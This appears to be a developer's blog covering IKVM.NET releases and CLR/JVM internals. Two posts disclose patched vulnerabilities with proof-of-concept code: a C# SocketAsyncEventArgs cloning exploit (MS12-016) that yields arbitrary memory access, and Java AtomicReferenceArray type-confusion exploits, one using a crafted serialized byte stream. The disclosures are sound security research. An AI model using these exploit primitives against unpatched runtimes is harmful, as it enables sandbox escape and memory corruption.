# Thursday, March 8, 2012
CLR Supported Custom Attributes

After working with the CLR for more than a decade, once in a while I still run into surprising behavior.

It turns out that the (non pseudo-) custom attributes that CLR recognizes are only matched by name, not assembly.

So you can do this for example:

using System;
using System.Threading;

namespace System {
  class ThreadStaticAttribute : global::System.Attribute { }
}

class Program {
  [System.ThreadStaticAttribute]
  static int foo;

  public static void Main() {
    WriteFoo();
    foo = 42;
    WriteFoo();
    new Thread(WriteFoo).Start();
  }

  static void WriteFoo() {
    Console.WriteLine(foo);
  }
}

On the CLR the foo static variable is a thread local, but on Mono it isn't.

Thursday, March 8, 2012 2:35:51 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]
# Sunday, March 4, 2012
Lang.NEXT

I'm looking forward to speaking at Lang.NEXT. To be held at the Microsoft Campus on April 2 - 4.

If you're in the neighborhood and are interested in programming language design and implementation, this is your opportunity to find out if there really is such a thing as a free lunch.

Sunday, March 4, 2012 11:15:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, February 27, 2012
MS12-016 Vulnerability Details

Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.

I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.

Here's an example exploit (not very reliable):

using System;
using System.Net;
using System.Net.Sockets;

class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
{
  public MySocketAsyncEventArgs Clone()
  {
    return (MySocketAsyncEventArgs)MemberwiseClone();
  }
}

class Program
{
  static void Main()
  {
    GC.Collect();

    byte[] buf1 = new byte[1024];
    object[] dummy = new object[1024];
    for (int i = 0; i < dummy.Length; i++)
      dummy[i] = new byte[1024];
    byte[] buf2 = new byte[1];
    MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
    args.SetBuffer(buf1, 0, buf1.Length);
    MySocketAsyncEventArgs copy = args.Clone();
    args.Dispose();
    buf1 = null;

    GC.Collect();

    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();

    byte[] buf = new byte[1024];
    for (int i = 0; i < buf.Length; i++)
      buf[i] = 0xFF;
    client.Send(buf);
    conn.ReceiveAsync(copy);
    System.Threading.Thread.Sleep(100);

    // now we have a magic array that allows us arbitrary memory access
    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[1000000000]); // AccessViolation

    GC.SuppressFinalize(copy);
  }
}
Monday, February 27, 2012 8:58:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, February 23, 2012
February 2012 Java Critical Patch Update Vulnerability Details

Last week, Oracle released the February 2012 Oracle Java SE Critical Patch Update. This included fixes for two related problems I reported to them on August 1, 2011. The first problem is also what inspired the post about disabling the security manager.

This is another one of those security vulnerabilities that I stumbled into without looking for it. When I was integrating OpenJDK 7, I merged some minor changes into AtomicReferenceArray and after that a couple of JSR-166 TCK tests failed. After a little investigation I found that the problematic code was:

public AtomicReferenceArray(E[] array) {
    // Visibility guaranteed by final field guarantees
    this.array = array.clone();
}

One of the tests constructs the AtomicReferenceArray by passing in an java.lang.Integer array and a subsequent store in the array would fail on IKVM.NET, because the IKVM.NET implementation of AtomicReferenceArray.set() uses the ldelema instruction to get the address of the array element so it can subsequently do a volatile store to that location. When you use the ldelema instruction the CLR will do a type check to make sure the array can safely hold values of that type and this type check failed, because the code assumed that the array is always an object array, but in this case it was a java.lang.Integer array.

At first I simply fixed this by changing the constructor back to what it previously did (always allocate a new Object array), but after some reflection I realized that this might be a security issue.

To see why this could be a security issue, you need to know that HotSpot (Server) is capable of doing some pretty amazing optimizations. What I conjectured was that HotSpot might be able to inline the constructor and subsequent get operation and then optimize away a cast operation that follows the get operation. Here's an example:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
Integer value = (Integer)ara.get(0);

HotSpot Server is able to deduce is this case that the (Integer) cast is redundant. However, what it fails to take into account is that AtomicReferenceArray uses sun.misc.Unsafe to directly access the array and this means that even though the array here is of type Integer, the AtomicReferenceArray.set() method allows you to store any reference in the array. So a slightly modified version will violate type safety:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
ara.set(0, "foo");
Integer value = (Integer)ara.get(0);

Now value contains a string while being typed as Integer.

Here's a full working example (it's little bit more convoluted, because you need to coax HotSpot into fully optimizing the code):

import java.util.concurrent.atomic.*;

public class vuln
{
  int field1;
  static volatile Object obj = new vuln();
  static volatile boolean done;

  public static void main(String[] args) throws Exception
  {
    new Thread() {
      public void run() {
        try { Thread.sleep(3000); } catch (Exception _) { }
        obj = "foo";
        System.out.println("done");
        try { Thread.sleep(30); } catch (Exception _) { }
        done = true;
      }
    }.start();
    for (;;) {
      doIt();
    }
  }

  static void doIt()
  {
    AtomicReferenceArray r = new AtomicReferenceArray(new vuln[1]);
    r.set(0, obj);
    frob((vuln)r.get(0));
  }

  static void frob(vuln v) {
    if (done) {
      System.out.println(v.field1);
      v.field1 += 8;
      System.out.println("foo");
      System.exit(0);
    }
  }
}

This vulnerability was interesting to me because it required some pretty advanced HotSpot optimizations, but this also made it less of a real-world issue, because I was unable to get HotSpot Client VM to do these optimizations, so a browser running Java was not likely to be vulnerable. However, while I was preparing to report this to Oracle it occurred to me that there was a much bigger security vulnerability that had been lingering in AtomicReferenceArray since it was first introduced in Java 5. By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.

Here's an example of that:

import java.io.*;
import java.util.concurrent.atomic.*;

class Union1 { }
class Union2 { }

public class test
{
  static byte[] buf = new byte[] {
    -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
    46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
    0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
    -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
    114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
    114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
    105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
    -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
    0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
    99, 116, 59, 120, 112, 113, 0, 126, 0, 3
  };

  public static void main(String[] args) throws Throwable
  {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
    Object[] arr = (Object[])ois.readObject();
    Union1[] u1 = (Union1[])arr[0];
    AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
    ara.set(0, new Union2());
    System.out.println(u1[0]);
  }
}
Thursday, February 23, 2012 1:45:55 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]
# Tuesday, January 24, 2012
New Development Snapshot

Time for a new snapshot. Not too many changes, but the IKVM.Reflection API changes should suggest what I've been working on.

Changes:

  • Updated version to 7.1.4406.0.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • When constructing a generic class loader we can't use GetWrapperFromType() on the type arguments, because they might refer to a subtype that is currently being loaded.
  • Made base TypeWrapper resolution lazy for compiled and .NET TypeWrappers.
  • Use modopt custom modifiers for methods instead of name mangling and NameSigAttribute.
  • Added version info resource to JVM.DLL. Modified version of patch #3472413.
  • Added version info resource to ikvm-native-win32-{arch}.dll. Modified version of patch #3472413.
  • Added support for delegates with ByRef parameters.
  • When a dynamic only interface method ends up being "implemented" by a static or non-public method, it should throw the appropriate exception.
  • When instantiating a delegate and the object passed in does not properly implement the delegate's Method interface, bind the delegate to an error stub that throws the appropriate error.
  • The right remap filename should be put in the SourceFileAttribute, instead of the last one.
  • Stack trace elements in methods in remapped .NET types should not list the source filename as map.xml.
  • IKVM.Reflection: FieldInfo.IsAssembly should test for FieldAttributes.Assembly access, not FieldAttributes.Family.
  • IKVM.Reflection: Added Module.__FileAlignment property.
  • IKVM.Reflection: Added ManifestResourceInfo.__Offset property.
  • IKVM.Reflection: Avoid the need for (expensive) ResolveMethod call when emitting debug symbols. Thanks to Miguel Garcia for pointing this out.
  • IKVM.Reflection: Add AssemblyName.__Hash property (to expose the hash in an AssemblyRef).
  • IKVM.Reflection: Added Module.__EntryPointRVA and Module.__EntryPointToken properties.
  • IKVM.Reflection: Added MethodBase.__MethodRVA property.
  • IKVM.Reflection: Fixed regression introduced with AssemblyName rewrite. The AssemblyName returned from __GetReferencedAssemblies() should include an empty public key token if the referenced assembly is not strong named.
  • IKVM.Reflection: API change. Allow Type.MetadataToken to be called on missing type (it will return 0 or the token hint when the type was forwarded).
  • IKVM.Reflection: Added Universe.ResolveType() API that can be used to construct missing types.
  • IKVM.Reflection: Fixed various Module.Resolve* methods to throw proper exception when wrong metadata token is supplied.
  • IKVM.Reflection: Fixed type parameter binding for missing types.
  • IKVM.Reflection: Added Module.__EnumerateCustomAttributeTable() API.
  • IKVM.Reflection: Removed Module.__GetDeclarativeSecurityFor() API.
  • IKVM.Reflection: Added CustomAttributeData.__Parent API.
  • IKVM.Reflection: Added Module.__ImageRuntimeVersion API.

Binaries available here: ikvmbin-7.1.4406.zip

Tuesday, January 24, 2012 1:48:53 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]
# Tuesday, January 3, 2012
IKVM.NET 7.0 Update 1 Release Candidate 0

A couple of annoying bugs have been reported since 7.0 was released, so I decided to do an update.

Changes:

  • Changed version to 7.0.4335.1.
  • FileStore for non-accessible drive should throw exception when trying to create the FileStore, not when accessing the name() or type() properties.
  • Graphics2D.clip(null) should only throw NPE for a Component graphics.
  • Don't crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • Informational messages should not be treated as error when -warnaserror is specified. Fix for #3443377.
  • Don't enforce pre-1.5 class name rules in ikvmc (since HotSpot doesn't enforce any naming rules for classes loaded by the system (and boot) class loader, by default). Fix for #3443373.
  • Fix for #3441959.
  • Throwable.addSuppressed() didn't have a proper parameter name.
  • Mark getSpace0 with SecuritySafeCritical to avoid getting an exception with .NET 4
  • Bug fix. Removed incorrect check for uninitialized objects on backward branch.
  • Don't crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Added AssemblyInformationalVersionAttribute to OpenJDK assemblies (to set the "Product Version"). Part of patch #3458997.
  • Include copyright and metadata in IKVM.OpenJDK.Tools.dll. Part of patch #3458997.
  • Bug fix. Don't call Finish on unloadable TypeWrapper.
  • Bug fix. When constructing a generic class loader we can't use GetWrapperFromType() on the type arguments, because they might refer to a subtype that is currently being loaded.
  • Fix. When decoding a NameSigAttribute it is possible that a type does not exist (i.e. is an unloadable) and that results in a warning emitted against the referenced assemblies class loader.
  • Suppress annotation custom attributes when enumerating inner classes.
  • IKVM.Reflection: Bug fix. FieldInfo.IsAssembly should test for FieldAttributes.Assembly access, not FieldAttributes.Family.

Binaries available here: ikvmbin-7.0.4335.1.zip

Sources: ikvmsrc-7.0.4335.1.zip, openjdk7-b147-stripped.zip

Tuesday, January 3, 2012 1:24:44 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Wednesday, December 21, 2011
IKVM.NET 0.46 Update 1 Release Candidate 0

IKVM.NET 0.46 is the last OpenJDK 6 based release, so it will be supported longer than usual. I haven't yet decided how long exactly, but in any case here is a release candidate for an update release that incorporates many of the fixes that have been done since 0.46 was released.

Changes:

  • Changed version to 0.46.0.2.
  • Bug fix. TypeWrapper.IsAssignableTo() didn't handle arrays with primitive elements properly.
  • Bug fix. Exception blocks inside potential try { } finally { } blocks were not handled correctly. Could result in finally blocks that run multiple times (when an exception occurs).
  • Fix for #3404229.
  • Bug fix. Don't create a miranda method if the class already has a static method with the same signature.
  • Added workaround for another x64 JIT bug. See https://sourceforge.net/mailarchive/message.php?msg_id=28250469
  • Newer versions of ICSharpCode.SharpZipLib.dll require the ZipEntry size to be set explicitly, otherwise the generated archive will not be compatible with older zip implementations (like Java 6's java.util.zip).
  • Fixed serialization interop bugs.
  • Bug fix. When an abstract .NET type implements System.IComparable (and hence java.lang.Comparable) the resulting stub is not usable from Java because the compareTo method is missing. This fix adds the missing method.
  • Fix and enhancement. When a .NET type implements a shadowed interface, we now also publish the original interface (e.g. if the .NET type implements System.IComparable, Java code will now see java.lang.Comparable and System.IComparable). In addition, the new code makes sure that when a .NET type explicitly implements both System.IComparable and java.lang.Comparable that the Java code will not see java.lang.Comparable twice.
  • Bug fix. Make FileOutputStream in append mode always append.
  • Add support for overriding constructor body in map.xml.
  • Make sure that Thread.getContextClassLoader() and Thread.setContextClassLoader() are JITed before Thread.isCCLOverridden().
  • Workaround .NET 2.0 bug in GetType() that could cause problems with creating proxies for compiled types.
  • Bug fix. Exceptions declared with ThrowsAttribute(Type) (in .NET code) did not get exported properly by ikvmstub.
  • Fix ClassLoader.findLoadedClass0() to handle null string.
  • Implemented support for annotation defaults in ikvmstub.
  • Bug fix. Final instance fields that have a type 2 access property should also have a (private) setter for reflection and serialization.
  • Bug fix. Set os.name and os.version properties correctly when running on unknown Windows version (Windows 8).
  • Bug fix. IPInterfaceProperties.GetIPv_Properties() can throw an exception (and does so on Win 8 for some interfaces).
  • Don't open the remap file in read/write mode.
  • Bug fix. Make sure sun.misc.Launcher is initialized before setting a security manager, because Launcher assumes there is no security manager yet.
  • Implemented com.sun.security.auth.module.NTSystem.getCurrent().
  • Bug fix. When calling a final method on a remapped type we can't call the instance method in the remapped type, but we have to call the instancehelper instead.
  • Fix. When decoding a NameSigAttribute it is possible that a type does not exist (i.e. is an unloadable) and that results in a warning emitted against the referenced assemblies class loader.
  • Bug fix. Removed incorrect verifier check for uninitialized objects on backward branch.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • Retain reflection field ordering for ikvmc compiled code (not required by spec, but to improve compatibility with broken code).
  • Don't use "slow path" for field reflection on remapped types (as getting a Throwable field from cli.System.Exception will cause an exception, but the slow path will generate a different exception).
  • Backported the new method override resolution code.

Binaries available here: ikvmbin-0.46.0.2.zip

Sources: ikvmsrc-0.46.0.2.zip, openjdk6-b22-stripped.zip

Wednesday, December 21, 2011 9:54:46 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, December 19, 2011
Accessibility, Visibility and Transparency

There are a couple of subtle differences between the JVM and CLR with respect to member accessibility. For example, the JVM will allow you to access public members in non-public base classes:

package p1;

class Base {
    public int foo;
}

public class Derived extends Base {
}

package p2;

class Test {
    public static void main(String[] args) {
       p1.Derived d = new p1.Derived();
       d.foo = 42;
    }
}

If you compile p1 and p2 seperately with ikvmc and look inside the resulting assemblies, you'll see that ikvmc generated a foo property in Derived. It needs to do this, because the CLR won't allow code from another assembly to access the members of Base.

In the IKVM source code this type of access stubs is known as type 1. As you'd expect there are also type 2 access stubs. These are generated when a public (or protected) member exposes a non-public type:

package p1;

class Foo { }

public class Bar {
  public Foo field = new Foo();
}

package p2;

class Test {
    public static void main(String[] args) {
       p1.Bar b = new p1.Bar();
       System.out.println(b.field);
       b.field = null;
    }
}

Once again, if you compile p1 and p2 into separate assemblies with ikvmc, you'll see that field will be accessed through a property. In this case the property type is erased to the first public base type and a custom modifier is attached to make sure the property signature is unique (and to be able to recover the real type).

These type 2 access stubs were originally generated (in some cases) by ikvmc to support accessing these members from C#, because the CLR, like the JVM, doesn't care about the visibility of the types in a signature when it considers member accessibility.

However, since .NET 4.0 there is a new factor to consider, when level 2 transparent code  tries to access a member, the types in the member signature (except for the custom modifiers) must all be visible to the caller.

I have not seen this last fact documented anywhere yet.

Monday, December 19, 2011 11:57:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Friday, December 16, 2011
New Development Snapshot

I've been doing some cleanup and refactoring and in the process removed some limitations and fixed a bunch of corner cases.

Changes:

  • Updated version to 7.1.4366.0.
  • Fixed Class.getDeclaredClasses() to throw correct exception when one on the inner classes cannot be loaded.
  • Removed class name length limitation.
  • Split ikvmc compilation into three passes to support classes that extend a class nested inside itself.
  • Include copyright and metadata in IKVM.OpenJDK.Tools.dll. Part of patch #3458997.
  • Added AssemblyInformationalVersionAttribute to OpenJDK assemblies (to set the "Product Version"). Part of patch #3458997.
  • When casting arguments we should use the actual method parameter types, instead of the call site types (which can differ in the case of unloadable types (with crazy class loader trickery)).
  • Unloadable types can't violate loader constraints.
  • Made override stub generation more consistent.
  • Generate override stub for miranda method, when necessary.
  • Fixed ikvcm to not crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Fixed unloadable corner case (that can only be generated by playing weird class loader tricks).
  • Verifier bug fix. Removed incorrect check for uninitialized objects on backward branch.
  • IKVM.Reflection: Support setting an invalid culture using AssemblyBuilder.__SetAssemblyCulture().
  • IKVM.Reflection: AssemblyCultureAttribute should not influence the LCID of the version info resource.
  • IKVM.Reflection: Removed static Create() from __StandAloneMethodSig and added Universe.MakeStandAloneMethodSig().

Binaries available here: ikvmbin-7.1.4366.zip

Friday, December 16, 2011 10:07:11 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Monday, December 5, 2011
IKVM.NET 7.0 Released

I've released IKVM.NET 7.0 to SourceForge. The binaries are identical to the ones in release candidate 0.

Release Notes

This document lists the improvements, known issues and incompatibilities.

What's New (relative to IKVM.NET 0.46):

  • Integrated OpenJDK 7 b147.
  • Implemented Java 7 JVM changes.
  • Java annotations on statically compiled code are now returned as java.lang.reflect.Proxy objects for compability with broken code that assumes this is always the case.
  • Added delegate conversion for java.lang.reflect.InvocationHandler to ikvm.runtime.Delegates.
  • Various remap file improvements.
  • Changed build and JNI code to use different names for the Windows x86 and x64 versions of the native dll.
  • Retain reflection field ordering for ikvmc compiled code (not required by spec, but to improve compatibility with broken code).
  • Various AWT fixes.
  • Interop between java.lang.AutoCloseable and System.IDisposable.
  • Various build system improvements.
  • Added ikvmc -warnaserror option.
  • Fixed java.io.FileOutputStream in append mode to use atomic append.
  • Various performance improvements.
  • Added -Xnoglobbing option to ikvm.exe.
  • Various minor fixes.
  • Implemented dual stack sockets (Windows Vista and up only).
  • Implemented platform MBean server.
  • Implemented SocketChannel.sendOutOfBandData().
  • Implemented DatagramChannel multicast methods.
  • Removed mapping of System.Security.VerificationException to java.lang.VerifyError.
  • IKVM.Reflection: Massive enhancements to support a very large portion of the managed PE capabilities (much more than System.Reflection.Emit).

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
     
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
       
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.
  • Strict class-file checking is not implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled together during a single compilation fully obeys the JLS binary compatibility rules.

Class Library

Most class library code is based on OpenJDK 7 build 147. Below is a list of divergences and IKVM.NET specific implementation notes.

com.sun.security.auth.module        Not supported.
java.applet Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Limited implementation.
java.net SCTP and SDP not implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.nio.file Most optional features (e.g. ACLs) are not implemented.
java.text.Bidi Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.crypto ECC is not implemented.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written and there is limited metadata support.
javax.management Limited implementation.
javax.print There is a Win32 specific printing implementation. Not supported.
javax.script ECMAScript implementation is not included.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not supported.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Not supported.

The entire public API is available, so "Not implemented." for javax.smartcardio, for example, means that the API is there but there is no back-end to provide the actual smartcard communication support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas, but patches are welcome, of course.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows
.NET 4.0 x86 Windows
.NET 4.0 x64 Windows


Partial Trust

There is experimental support for running in partial trust.

Monday, December 5, 2011 7:56:27 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]